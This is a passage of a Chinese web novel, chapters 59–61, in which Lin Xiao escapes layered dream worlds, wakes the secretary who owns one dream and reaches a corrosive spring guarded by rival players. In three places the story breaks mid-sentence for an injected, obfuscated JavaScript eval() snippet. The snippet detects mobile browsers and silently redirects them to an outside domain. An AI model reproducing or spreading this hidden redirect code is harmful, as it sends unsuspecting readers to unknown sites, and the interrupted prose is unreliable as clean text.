这时候，他们庆幸是林筱进入了这次白雾世界，不然他们很可能白白牺牲队友而一无所获。等回到现实世界，他们会申请对林筱的表彰。 不过在这之前，他们得离开这里。 “很简单，”林筱指了指他们依旧打开着的电脑，“其实白雾的提示都很明显。” “赢了对赌？”队长皱眉，“一定要等到结果出现吗？现在天狼星已经没有了反击的能力，胜利肯定是属于我们的，但你看，我们依旧没有出去的头绪” “赢下赌局是你对我说的。”林筱摇了摇头。 “什么意思？！”队长惊愕，“你怀疑我想害大家？我比你们任何人都想要离开白雾世界，我更不会伤害自己的同伴！” “别激动，我也没说你想害大家。”林筱安抚，“我不是说你从中使坏，而是说你可能也被白雾误导了。” “误导了?” “对。”林筱点头，“我们在这个世界的任务不应该是赢下赌局，而是完成这个游戏。” 就算是赌局，也建立在游戏的反馈上。游戏没有完成，又怎么能得到玩家的反馈。 他们也反应了过来，那些被白雾定位为程序员的人拉开座椅，顺从身体的本能继续完成这个游戏。 但是白雾游戏的进度一直卡在99%，就算他们有了白雾世界送给他们的记忆，这个游戏依旧距离完成还差那么一点。 大家齐心协力，陆陆续续地又找出并修复了几处bug。 眼看着进度条从99%变成99.9%再也不动弹，林筱知道，剩下的这一点就不是技术上的问题了。 他们完善游戏并不是真的想要玩这个游戏，而是完成白雾的要求。 而白雾想要的是什么？ 是穷人的诉求，是那些充满绝望的荒诞幻想。 林筱敲下最后两个字：阶级。 停滞的进度条开始前进，没有人操作的游戏开始自行运转。 游戏中的小人按照系统的设定过五关斩六将，最终站立在世界巅峰。但日月轮转，一觉醒来，它依旧是那个生活在底层的lv1小民。 游戏继续。 他们看着小人一遍遍重复相同的人生，看着他崛起，看着他梦碎落魄。 而周围的世界又开始变得虚幻。 林筱闭上眼。 姜时宴，你可得抓紧时间了，她也不知道道具死亡后会有什么后果，所以你最好别死。 59. 第二个世界16 “你醒了呀。”秘书小姐若无其事地收回想要拍醒林筱的手，脸上依旧挂着甜腻的笑容，“林总，马上就要日出了哦。” 林筱坐起了身，看向四周。 他们躺在帐篷里。 这个帐篷是按照可以容纳二十人的大小来设计的，在他们登山之前就已经安装在了山顶。如今帐篷内整齐地躺满了人，却只有一部分清醒地听到了他们的谈话。 这部分可以保持清醒的人就是和林筱她一起通过之前几重梦境考验的清洁部成员。 清醒过来的其他人摇晃着身边依旧沉睡的队友，发出的动静理论上足以叫醒一个深度睡眠的人，但那些人却依旧没有反应。 而玩家依旧没有出现，包括那名应该还在山路上熊嘴里的玩家。 也不知道他们到底藏在哪里。 林筱不知道他们是怎么偷渡进来的，也不清楚他们现在是会出现在现实世界还是同样的第一重梦境中。 但不出现，对她而言反而是件好事。 她的沉默被秘书小姐当做对同伴的关心，秘书小姐不高兴地耷拉下眼角，撒娇着说道：“他们睡得太沉了，根本叫不醒嘛。如果要等他们醒来，日出都结束了，那我们这次上山的目的不就达不成了呀。” 林筱看了过去，清洁部队长给了她肯定的答复。 那些没有在第三重梦境出现的人，也没能在这里清醒。他们就像被梦境捕捉，沉沦在昨日的夜晚。 哪怕他们都不愿意放弃队友，却也知道完成任务才是他们现在最需要做的事情。 他们要看到日出。 没有等来其他人反应的秘书小姐脸色逐渐变得阴沉，就连从帐篷侧透露的光线都有了一瞬间的暗沉。 躺在门帘旁的人掀开帘子，帐篷外的天空依旧是昏暗的，但大片大片的乌云却正从远处接连不断地飘来。 他的脸色变得难看，不敢当着秘书小姐的说出自己的发现，只能用五官拙劣地表达自己的意思。 然而，再默契的队友也没能解读他扭曲的表情。 “你们在做什么？”秘书小姐发觉了他们的小动作，突然扭头看向门边的成员。 他脸上浮夸的表情都还来不及收敛，惊吓之下顿时感觉面部神经抽搐般地疼痛，捂着脸含糊地开口：“我，我想要当演员，所以我每天早上都会锻炼我的面部肌肉，哈哈。” 秘书小姐狐疑地看着他，但那个古怪的表情除了最大程度地放大自己的五官外，的确看不出其他意思。 她只能半信半疑地回过头，看着刚才瞬间紧绷的队长：“他在锻炼肌肉，你紧张什么？” 队长下意识地吞咽了一下口水，看着表情逐渐狰狞的秘书小姐：“我……” “出发吧。”林筱拍了拍秘书小姐的肩膀，“我看今天天气不太好，早点出去说不定还来得及看到日出，不然等雨下起来就什么也没有了。” 其他人都正对着秘书小姐，只有门旁的那位队友还有余力对她露出钦佩的表情。 但秘书小姐的表情却也一下被林筱软化。 她根本顾及不到这些本就是连带的附属品，一脸小女儿的欢欣，“好，好的，林总。” 她第一个走出了帐篷，也迎来了第一缕阳光。 璀璨的光芒如利刃穿破重重阻拦，却又温柔地照拂着这世间万物。灿烂霞光弥漫整个天际，留给人久久不能回神的震撼之美。 朝霞下，洗去浓艳妆容的秘书小姐看上去意外得年轻，似乎还带着属于学生的天真意气，露出第一个也是唯一一个真心的笑容。 林筱站在她的身后。 也就在这时，她才发现秘书小姐即使穿着高跟鞋，也就将将齐她眉眼。 “真美啊。”秘书小姐失神地低喃。 “小心着凉。”林筱将手上的毯子盖在她的身上，陪着她一同欣赏这难得的美景。 秘书小姐拢了拢身上的毯子，两颊忍不住泛起红晕，头小心翼翼地试探着靠在她的肩上：“林总，你今天好温柔啊。” 林筱没有说话。 林筱知道她想要的林总不是她，秘书小姐也知道林筱知道林总不是她。但两个人都没有在此刻挑明，将此刻的温情演绎到最后。 看在林筱的面子上，秘书小姐也就勉强能容忍身后那些不长眼的人发出的嘈杂声响打扰这一刻的安宁。 乌云不知道在什么时候散去，太阳东升，将一片山头都染上金黄的光晕。 “该回去了。”看到秘书小姐渐渐回神，林筱提醒到。 “是的，该回去了！”秘书小姐眨了眨眼，敛去一切的落寞，重新鼓起精神，斗志昂扬地开口，“今天还要上班呢，我可是要成为林总最能干的手下的人！” 林筱顿了一下：“你会的，你很聪明。” 秘书小姐露出一个甜甜的笑容，雷厉风行地组织起下山来。 下山就不需要他们自己走下去了，公司包的大巴车已经停在了山顶。但大巴车只接送清醒的人，所以那些还没睡醒的人需要等待第二班车。 “放心，我们肯定把每一个人都送回家。”秘书小姐向着所有人保证。 他们不敢不信，又不可能全信。 秘书小姐说的是人，但万一他们一直没有清醒，说不定就有什么深山里的野兽出现把他们吃了，那不就没有“人”了。 他们总要做出选择的。 最终队长还是站了出来：“我留下来和他们一起走。” “你可以和我们一起下山哦。不用担心他们，我叫的车肯定会把他们送下来的。”秘书小姐认真负责地和队长解释。 但没有人觉得这是解释，反而怀疑这是秘书小姐对他们的警告。 看着其他队员对他投来不赞同的眼神，甚至有人想要代替他站出来时，队长坚定地摇了摇头：“我和他们一起来，就要和他们一起走。” 秘书小姐咬着唇不说话，连带着其他人都紧张地看着她。 “那好吧。”她突然松了口，“只有你一个人吗？” “只有我一个人。”将其他人意见都驳回的队长肯定地开口。 秘书小姐拿出一张名片：“那等他们醒来，你就打这个电话，张师傅会来接你们。但这个号码只能拨打一次，你自己注意哦。” 队长紧紧攥住那张名片：“我会的。” 他没有回帐篷，反而直直地盯着林筱。 他有话想和林筱说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073114|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林筱安抚好有些小脾气的秘书小姐，跟着队长来到帐篷外的一角，远离人群的地方，看着他递给她一叠蓝色的折叠桶。 就是那种看上去最普通的折叠水桶。 “这是科学院研发的专门储存白雾的水桶。”队长伸出去的手还有些颤抖，但并没有犹豫，“现在这个队伍里，我相信你会是最接近泉水的人。” 林筱没有立马接过水桶，转头看向已经不能被看见的其他人：“可我还不是正式员工。” 她虽然被录用了，但试用期其实并没有过，也没有被清洁部门真正地信任。 “这也是我们一致的决定。”队长却说出出乎林筱预料的话，“我们看日出晚了一拍，也是因为在那时就商量好，分一半的水桶给你。” [玩家触发隐藏职业——清洁工。 玩家触发隐藏任务：收集泉水并交与有关部门。完成隐藏任务后，游戏将提前结束并给予玩家最高评分。] 熟悉的系统提示，也意味着队长说的话都是真的。 “我们都相信你的能力。”队长继续说道，“如果你发现了泉水，只需要把水桶放进去，它会自己在泉水中展开。当你汲取的泉水超过一定数量，白雾会自己把你弹出。” “如果没有弹出呢？” “那就说明你遇到的不是真正的泉水，或者白雾对泉水流失的耐受度更高了。”队长满脸凝重，“如果是第二种，请你务必想办法即时清醒，哪怕把我们都留在白雾也没关系，一定要把这个消息和泉水一起送到清洁部。” 手中的水桶似乎更加沉重。 “但一般情况，只需要一桶水，白雾就会把我们弹出去。”队长很快又轻松地开口，“我可是给了你三个，如果这要还不够，那就是我们的命不好了。” “我争取尽快。”林筱接下来了水桶。 “谢谢。”队长看向帐篷，更是透过帐篷看着里面依旧沉睡的人，“但也不需要冒着风险，活下来最重要。天塌了，也是我们先顶着。” 从帐篷后走出来的，只有林筱一个人。除了秘书小姐，他们都知道队长把她叫过去是为了什么，眼神中有鼓励，却也不强求。 林筱对他们点了点头。 “怎么拖那么久。”秘书小姐小声地抱怨，却不会在林筱面前说一句重话，只是狐疑地看着帐篷，“他是不是和你说我的坏话了？” “别多想，上车。”林筱也没一直纵着她，先一步跨进了车。 “林总，等等我。”秘书小姐顿时就把不重要的人抛在脑后，小跑着跟了上去，“我们先把他们送走，然后再回公司，可以吗？” “你看着安排。”林筱闭上眼，准备真的休息一下。 这看似安眠的一晚，实际上除了秘书小姐，没有人能真的休息成功。即使结束了这一关卡，还有泉水在等待他们。 秘书小姐满足地在她那空白的文件夹写写画画。 他们看到了日出，却依旧沉浸在这一套剧情内。 林筱睁眼叹了口气，睡不着了。 “林总？”秘书小姐疑惑地看向她。 所以他们真正要完成的，不是看日出，而是这位看似固定NPC的秘书小姐的心愿啊。 60. 第二个世界17 梦境中的世界总是荒诞而没有常理。 就像林筱眼睁睁看着窗外的场景瞬间变成熟悉的地下停车场，而同行的秘书小姐却没有丝毫反应一样。 因为她觉得合理，所以这就是合理。 林筱并没有对此表示异议：“这里多了很多人。” “是吗？”秘书小姐按下车窗，看着窗外反复路过的人群，“现在是上班时间，大家都在也正常吧。” 林筱看着窗外的“风景”不说话。 围着她车子转的“人”，如果他们还可以称为“人”的话，和秘书小姐不一样，带着微弱的恶意。 不明显，但确实存在。 他们的脸是空白的，就像是设定这个梦境的人还没有想好他们究竟应该长什么样子。他们的身材都是套用同一套模板的，带着光鲜亮丽的白领少见的粗糙老茧和常年苦力留下的痕迹。 就像是两个不同的世界因为一场不可操控的意外强行拼凑在一起。 就像她的办公室和那杯热可可。 林筱再次肯定了自己的猜测，但最终的结果还需要看秘书小姐的反馈。 “那他们该去上班打卡了，而不是浪费时间在地下室。” 秘书小姐似乎才反应过来还有打卡这件事情的存在，如同世界的补丁突然被发现，游荡在地下车库的无脸人突然之间就奔向了电梯，人踩人地挤了上去。 车子外总算安静了。 林筱打开车门，看着有些不知所措的秘书小姐：“我们该坐我们的电梯回到办公室了。” 秘书小姐只是怔愣了一小会就露出她那招牌的笑容，“好的，林总。” * 办公室内依旧金碧辉煌到刺眼，但仔细看去，却又带着没有人烟的冷气。 办公室外，那些之前在地下车库游荡的人又开始在走道上来来去去，随着时间的流逝，他们的动作逐渐变得灵活，步伐的频率也渐渐加快。 林筱知道，这是白雾世界给她的警告。 毕竟又想清醒地全身而退，又想享受白雾世界特有的特权福利，这世界哪有那么美好的事情。如果他们不能在规定时间内破解这个梦境，那他们的结局也只剩下葬送在这场梦境中这一结果。 但这些，秘书小姐毫无所觉。 她依旧延续之前的设定，将一杯温暖香甜的热可可送到林筱的手边。 在最后时刻喝上一杯甜腻的饮料，也不失为一种放松心情的方式。 只可惜，这并不适合林筱。 甜这种味觉会让人不自觉的轻松，但这个世界不需要轻松。林筱摩挲着花哨的马克杯：“今天的工作是什么？” “今天的工作……”秘书小姐打开她的文件夹，甜腻的笑容却僵在脸上。她不可置信地翻找着她那空白的文件，凌乱的纸张散落一地，却依旧没看见她需要的那一张。 林筱看着她的脸色瞬间惨白，重复道：“今天的工作是什么？” 秘书小姐没有说话，只是不可置信又无能地继续翻找她那不可能再出现任务的文件。 当然不会有文件，因为这个梦境终结于日出，日出之后，那是还没有被构建出来的虚无。 这是一场，属于秘书小姐的美梦。 人，总是狂妄地觉得自己才是世间万物的主宰。所以当他们得知这是一场梦境的时候，总会下意识地以为自己才是梦境的主人。 就连最开始的林筱也没有免俗。 但就算梦境的总模板出自三不管区，这里依旧会存在梦境主人的烙印，尤其在细节方面。 三不管区域的人或许会因为从未体验过这样的生活而诞生不着边际的想法，但林筱不会，这里的一切都不符合她的习惯。 所以作为一个外来者，林筱先天占据优势。她能可快地发现梦境的主人，然后，唤醒她。 秘书小姐已经停下来她的动作。 她蹲在地面，双眼无神又迷茫，手却依旧紧紧攥住仅剩的白纸，豆大的泪珠一滴滴落下，打湿了它。 “所以，这是假的吗？”秘书小姐呢喃。 “当然。”林筱仿佛感觉不到这句问话的危险，简单而直白地回答她。 这也是很少有清洁工或者玩家会做的选择。 能作为梦境被白雾保留的，这必然是这些梦境塑造者最深的执念。一旦假象被打破，轻则这些怪物失控，重则梦境破碎，他们将永远沉沦梦境。 这是一个风险极大、吃力不讨好的选择，但林筱并不在意。 她相信这个世界的清洁工有他们独特应对白雾的方法，也无所谓其余玩家的死活。更重要的是，她不觉得秘书小姐想要再听到谎话。 秘书小姐一直在挣扎着醒来，不然也不会暗中帮助她。 “原来，这都是梦啊。” 和秘书小姐的话音一起落下的，还有窗外淅淅沥沥的雨水。 天色蓦然阴沉，乌云笼罩了仅剩的日光，只留下窗内与窗外仍旧坚持工作的人造灯光。 “我喜欢林总。”秘书小姐突然开口。 林筱没有说话，也知道自己不需要说话。现在是只属于秘书小姐的倾诉时光。 “我从来都不是什么秘书，也不知道秘书该做什么。我只看到她们穿着光鲜亮丽的衣服，踩着高跟鞋拿着文件神采奕奕地穿梭在办公室间。”秘书小姐自嘲地笑了笑，看着眼前金碧辉煌的房间，“或许，你会觉得这里很可笑吧。” 她只是负责清扫办公楼的清洁工，最大的满足就是在茶水间泡一杯热可可，享受那香甜的味道充斥着她的整个喉间。 他们都只会把她当做忙忙碌碌的小老鼠般忽视，只有林总会在每天上下班时和她打招呼。 这个林总自然不可能是林筱，而是她之前的上司，一位年轻有为的男士。 她也清楚，林总会那么对待她，只是因为他骨子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073115|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里透露的习性，并不是真的优待她。 但她还是想当个秘书，想站在林总身边，想试试被其他人瞩目的感觉。 但试过之后，其实也就那样。 那些畏惧的、猥琐的、轻蔑的眼神，她都见过。但林筱给她的感觉是最平淡的。 就像林总给她的感觉一样。 但林筱不是林总，所以她总是不受控制地从梦境脱离，回想到当初的那个林总。 所以，她总是一次又一次给予林筱其他人没有的优待。 “你很聪明，但想要离开却已经晚了。”清醒过来的秘书小姐索性坐在地上，看着面色依旧淡淡的林筱解释，“你能猜到我的身份，也应该能猜到这场梦境已经走到了终结。” 梦境的终结是什么？ 苏醒，或是更深层的梦境？ 从来没有人走到这一步，所以也从来没有人知道这后面是什么。 “即使我放你走，白雾也不会放过你。” 林筱知道，秘书小姐没有说错。接连破坏好几个梦境的她已经成为白雾恨不得除之而后快的眼中钉。 但是，她又怎么会在乎白雾，他们本来就是敌对的存在。 “你唯一的生路，就是打破它，进入它的核心。”秘书小姐垂着眼，指向窗外。 而窗外，不知何时笼罩了一层白雾。 白雾世界起白雾，林筱看着逐渐模糊的外景：“所以现在只剩下我一个活人了？” “也不一定。”秘书小姐歪了歪头，失去了那机械的笑容，她暴露出自己真正的性格，“如果找不到逃脱的方法，你也会死。” 但愿清洁部的人会放弃任务脱离这个世界。但林筱觉得，这个可能性很低。 会加入清洁部，本身就已经代表他们是敢死者，比起安全逃离，他们或许更想把泉水带回去。 也不对，这次的白雾世界和以往大不相同，他们或许会派人提前脱离。 但不管林筱在此刻怎么想都已经无法改变一个事实，现在留在这个世界的的确只有她一个活人。 “怎么打破它？” “我不知道。”指出办法的人却没有给予林筱更多的帮助，秘书小姐摇了摇头，“这已经超出我的权限了。” 林筱把手贴在玻璃上，白雾感受到温度的差异向她的掌心汇聚，形成浓淡不一的雾色。 “你想到办法了？”秘书小姐好奇地询问，“其实在这个世界，最重要的就是不怕死……啊！” 能让秘书小姐惊讶的，也只有林筱。 只见林筱猛然敲碎玻璃，白雾疯狂地向她席卷，渐渐吞没她的身影，只留下一句若隐若现的话：“最后一个问题，你叫什么？” “我叫夏天。” 也不管林筱能不能听到，秘书小姐轻声回复。 生于夏天，死于夏天，隐于白雾。 一个，注定不会被任何人驻足的路人。 61. 第二个世界18 在万花镜般的绚烂中，林筱出现在一个荒芜之地。 荒芜到，寸草不生。 她在干裂的土地徒步，漫无目的，只身寥寥。 直到附近的土地逐渐被水流滋润，银光粼粼中，已经不能被称呼为泉水的湖泊出现在她的身前。 这一次，没有其他人林筱也能认出来，这就是他们一直想要寻找的泉水。 也是这个世界逃离白雾的必要因素。 林筱没有急切地过去，因为清洁部想要的，玩家也会想要。只要他们有点脑子，就会在附近设下埋伏。 不知道隐藏任务的玩家会想尽办法活到世界终结，而在这个世界，躲避末日的唯一解决办法就是泉水。 只要找到一间屋子，囤上足够的水和食物，刷上一遍又一遍的泉水，就可以建起属于自己的安全屋。 所以玩家如果依旧留在白雾中，这里必将是他们的最终目的地。 林筱打量着四周。 空旷的平地几乎没有可以遮掩身形的位置，但玩家也还没有那么愚蠢地暴露自己。如果他们在这里，应该会躲在某个角落，等待她掉进那未知的陷阱中。 她试探着跨出一步，锋利的细丝瞬间割破她的皮肤，细微的出血点如同珠串环绕在她的脚踝，妖艳危险。 她蹲下身，抚摸这些细丝。 它们的材料很特殊，如金属般锋利，却没有金属的色泽，隐匿在空中毫无痕迹，也不会因为光线的反射出现纰漏，是暗算的利器。 这是属于玩家的道具。 林筱脱下外套试探了一下。纤维材质的衣服在摇晃中不自觉地就出现了一条流苏下摆，粗细不均的布条带着不受束缚的自由感，也算是一种时尚。 但这个试探的结果也是在告诉林筱，眼前的这条路，她走不通。 在她还没有抵达这里的时候，这一块区域已经被提前赶到的玩家布下细密的陷阱。 但这个方向走不通，她还可以换个方向。湖泊那么大，总有他们防护不到的位置。 林筱没有如玩家所愿地纠缠在同一个位置，她干脆地起身，向着另一侧走去，倒是让关注着这边动态的玩家们皱起眉。 当事人不配合，他们这出戏还怎么唱下去？ 姜时宴拍了拍沾满灰尘的衣服，站了起来：“那走吧。” “走什么？”有人不解地提问，但还是机警地把人拉扯下来。 被拽下来的姜时宴无奈地蹲在地上：“她不是都发现我们布下的陷阱了吗，我们还在这里做什么？” “也有道理啊。”拉他的人挠了挠头，一副被说服的样子，“那我们直接冲上去吗？” “冲什么，这是我们的人质，他的话你也信？”老大冷眼瞟了姜时宴一下，警告他不要随便说话，顺便敲打他那不顺心的小弟们，“就算她发现了又怎么样？只要她不知道我们在哪里，她就要一直担心受怕，主动权就一直在我们这里。现在出去了，我们才落了下乘。” “有道理哎，不愧是老大！”那人顺着老大的话就开始夸道，然而不等老大得意，他又犹豫地开口，“可是，她已经来到我们面前了该怎么办啊？” 嗯？ 老大僵硬地回过头，果然透过石头的缝隙看见站在不远处的林筱。 她站在一个距离他们不远，但又不算特别近的距离。按照正常的听觉，林筱是听不到他们的说话声。 但这不妨碍老大压低声音怀疑地看向姜时宴：“你刚才起来是不是为了偷风报信？” 姜时宴无辜地摇了摇头，看着他的眼神真挚又懊恼：“我不是还没起来就被你们拉下来了吗？” “是啊。”一旁的小弟满脸真挚地附和。 老大心累，他怎么就带了那么一群不长脑子的小弟？ 虽然这些小弟的确是他亲自筛选的，虽然他当初就是图个听话省事，但有时候他们背刺自己人那也是无脑干脆。 “把他嘴封起来！”老大闭了闭眼，决定先把这个扰乱他小弟内心的男人闭嘴。 既然不确定风险，那就让这个风险消失吧。 虽然小弟们偶尔不太听得懂人话，但听话也是真的听话，老大一开口，他们就动手。 没一会，他们就将没有挣扎的姜时宴捆得严严实实，只剩下出气的口。 老大欲言又止。 也没必要那么紧。 但看着小弟们一脸邀功的表情，老大只能假装看不见姜时宴求助的神情。 算了，他们开心就好。 作为一个资深老大，他自然不会把全部希望寄托在这几个只能充当气氛组、锦上添花的小弟们身上，他的倚仗其实就是他自己。 丝线是老大的道具，而系统的道具可以远程控制。所以老大又将丝线召回布置在林筱的身边，打得就是出其不意。 她肯定想不到，这个陷阱会围绕着她转！ 而林筱，确实想到了。 她会选择站在这里，就是因为她知道剩下的玩家就藏在这附近。 这片荒地的面积看着大，但实际上可以躲藏的掩体就只有那么几个。再排除掉那些只能遮掩一个人的地方，剩下的可能性就只有四个。 而只有这里，既靠近泉水，又有足够大的空间躲藏三个以上的人，是其中可能性最大的位置。 但这只是她的猜想，所以她还需要验证。 当本该出现在泉水附近的道具再次出现在她的脚边时，林筱可以肯定，她猜对了。 但是经历过上个世界的勾心斗角，这个世界顺利地让林筱怀疑这是他们提前布下的疑阵。也因此，林筱没有在第一时间拆穿他们。 原地坐下的林筱也给予了老大极大的心理压力。 这虽然不是他们第一次下游戏，但他们之前也没遇到过那么棘手的对象。 世界是属于普通人的，所以进入游戏的绝大多数人也都是从普通人一步步成长的。在初始阶段，大多数玩家都会处于一种惊弓之鸟的惶恐阶段，面对困境也是以躲避心态为主，就算强势的玩家，也没林筱那么莽。 他们为了追捕林筱已经牺牲了不少兄弟，如果再没有获得足够的利益，他这个老大地位也不稳啊。 但如果要他拿下林筱，他也不敢打包票。 小弟们也注意到突然出现的丝线，用充满敬仰的眼神望着他，而他操纵丝线的手却忍不住颤抖。 不行，这样他的压力有点大，得将小弟们的注意力转移出去。 老大扭头看向无法动弹的姜时宴：“是不是你通知她有危险的？” 无法开口的姜时宴眨了眨眼，无辜又可怜。 “没人通知我。”等了许久也没等到对方动静的林筱爬上巨石，居高临下地看着石块下躲藏的四人，“我自己找来了。” * 现场的情况是这样的。 石头上站着林筱一个人，石头下蹲着四个人。蹲着的四个人中，三个人是林筱的对手，还有一个是投奔她但被挟持的人质。 总而言之，这是一个以一敌四的不平等战局。 作为全场压力最大的玩家，林筱没有下来，也没有要回姜时宴的意图：“你们的人比我想象的还少。” 在林筱的预料中，这些玩家怎么也该能多剩下几个。他们有各种稀奇古怪的道具，在这个古怪的世界更容易生存。哪怕带着拖油瓶姜时宴，也不该这么凋零。 老大默默咬牙。 太恶毒了，这是看他们实力不均，攻心为上。这个女人，居然明晃晃地和他小弟们讲他实力不行，不能带领兄弟们创造更美好的未来。 他已经很努力了，如果是别人带队也做不到更好了！ 但这些想法，老大不会透露给其他人。 他警惕地看着几乎毫发无伤的林筱：“你是怎么来的？” 林筱蹲在几乎可以说是陡峭的巨石上，光线避开她的身躯，以至于底下的人根本看不清她脸上的神色，只能听见那平淡中带着嘲讽的声音响起：“很难吗？跨过去就行了啊。” 跨，跨过去？ 他们忍不住去看外面被布置得密密麻麻的丝线障碍路段。 即使不清楚老大究竟布置得有多密集，但看地面上依稀可见的细碎光点就可以猜到那是何种地狱级别的挑战了。 如果把自己带入进去，别说顺利逃脱，现在还能保留1/2的躯体都是他们天赋异禀。 老大怎么可能相信林筱的这种说辞，他只觉得这真是一个恶毒的女人，时时刻刻不忘打压他们的士气。 被称作恶毒女人的林筱沉默地看着下方。 她没有说谎，她的确是跨过去的。 丝线的布置毕竟不是机器运算的结果，所以它们之间的距离并不均匀，有大有小。大的，足够一个人单脚站立。 所以只要足够细心，穿越这组丝线并不困难。唯一的难题只有容错率低。 她看了眼被捆起来的姜时宴，认真地建议：“你们用他来威胁我毫无意义。” “怎么没有意义，你不是出现在了这里吗？”一旁的小弟已经在老大之前抢先说话挣回面子。 “你们会完全信任一个曾经背叛过你们的人？”林筱挑了挑眉。 “不会。”一旁的小弟老实回答，然后被老大拍了一脑袋。 林筱弯了弯唇角：“我也是。” 虽然她的确答应过姜时宴，但也没有完全信了他说的一切。当然，这不意味着她觉得姜时宴欺骗了她，毕竟只要有脑子的人都会清楚，他在这次游戏中没有别的选择。 只要是个有脑子的人，都会选择她。但她却不一定要选择姜时宴。 “老大，我觉得她说得有道理啊。”一旁的小弟凑到老大身边嘀咕。 老大不耐烦地拍开他：“我看得见。” 虽然姜时宴的利用价值直线下降，但老大依旧没让人松开他：“那你想做什么？” “合作。”林筱看着下面的人，“我的目标是泉水，你们也可以是。比起两败俱伤，合作共赢才是聪明人的选择。” 老大在犹豫，他身边的小弟也有些躁动不安。 如果是以前，占据人数优势的他们当然不会将到手的利益让出。但在不知道林筱手里还藏着多少强力道具的前提下，他们也没有把握一定能赢过她。 而被众人忽视的姜时宴也在一旁不断地蠕动。 在老大的示意下，小弟之一稍微松开了对姜时宴的禁锢，至少让他可以说话。 “我们应该合作。”姜时宴表达自己的意见，“之前我已经试验过，就算我说出这是一个梦，我要回到现实，我也依旧停留在这。 “白雾生存的规则已经变了，我们需要合作探寻出去的办法。” 老大沉默了片刻，显然是想到了他们之前屡战屡败的试探过程。他看着明显就是个靠智力过关的林筱，最终还是同意了她的合作，顺便把姜时宴还给了她。 不过，得到人的林筱也没有多高兴。 “我们是被清洁部的人追杀逃到这的，所以只剩下我们这几个人。”说着狼狈的话，姜时宴的脸上却没有窘迫，也没有说出自己在其中动的那些不为人知的小手脚，“所以我猜测，这里是梦境的最深层。” 林筱大概有猜到。 虽然她不是被追杀，但她也是被“逼”进这一层梦境，自然知道这里的独特性。这里是所有梦境的终结，也可以说是梦境的起源，也只有这里才有可能藏着泉水。 “在你来之前，我们搜集到一些线索。只要采集到足够多的泉水就能建立一个足够生存到末世的安全屋。”姜时宴没有看向身后的人，眉眼弯了一下，“但你猜，他们为什么会大费周章蹲守你？” 因为，林筱看着眼前足以称之为湖泊的泉水，他们无法触碰。 如果只要是个人就能获得足够的泉水，那这个世界也不会遇到系统的降临，成为他们这些所谓玩家的游戏场。 只有当这个世界无法自救时，他们才会出现。 不远处，老大三人正在等待着他们。 湖泊的水很清澈，底下却除了圆润光滑的石子外没有别的东西。没有鱼，没有虾，甚至连青苔也不见踪迹。 它和这片土地一样没有生机。 老大从怀里掏出不知道什么时候藏起来的水杯，示范给林筱看：“取不了水。” 玻璃材质的水杯透亮坚硬，但放在这清澈到什么都没有的湖泊时却像是金属遇到了烈焰般缓慢融化，与这水流融为一体。 这过程中，老大没敢让自己的手接触湖泊。 玻璃都被轻而易举地腐蚀，如果肉、体接触到这泉水，怕是连骨头渣都没得剩。 “没了。”在其余人圆睁的双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073116|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，林筱将手放入水中，搅和一下，遗憾地拿出。 溅起的水珠没有外物的阻挡洒落在地面，其余人远远地避开林筱，看着她的手如同看着未知而恐怖的恶魔。 在林筱的身后，姜时宴轻轻笑了一声。 这个世界果然还是得有一个聪明人，不然就太无趣了。 林筱擦干净手：“既然你们知道它可以抵抗白雾，为什么要拿白雾的造物去盛？” 等等，泉水能消除白雾，然后白雾构造的杯子放进泉水，嘶…… 两个小弟面面相觑，不敢说，不敢说。 “我知道。”老大强行挽尊，“我就是想试试它是不是真的泉水。” 说完这句话，他也觉得自己在气势上占了下风，不甘心地问：“但除了之前藏起来的工具，我们总不能那手装水吧？” 就算他们敢装，这也装不了多少。 林筱掏出清洁部给予她的水桶。 作为本土有关部门给予的道具，水桶不负众望，顺利完成了第一桶任务。 按照清洁部的说法，此刻的白雾世界应该会作出反应，将他们排斥到世界之外。 然而没有，什么动静也没有。 湖泊依旧是那个湖泊，一桶水对它造不成影响。荒野也就是那么荒野，既然毫无生机地驻扎。 老大眼珠一转，看着林筱的表现也知道眼前的一切超出常理，忍不住试探：“他们有说怎么离开吗？” 这个他们，指的就是清洁部的人。 林筱摇了摇头。 清洁部的人的确没告诉她如今的这个情况该怎么处理，但秘书小姐有暗示她。 死路，也是生路。 但死路也有很多种，哪种才会是秘书小姐说的呢？ 可偏偏这时，玩家动手了。 “既然大家都找不到离开的路，你不如可怜可怜我，送点积分给我。”即使是偷袭，他依旧坦荡地像和林筱谈了一笔生意，“怎么样？” 林筱侧身避开攻击，顺便也把姜时宴拉到身边，不忘睨了他一眼。 积分这件事会被玩家知道，姜时宴可没少在里面下功夫，如今全报应到他们自己身上。 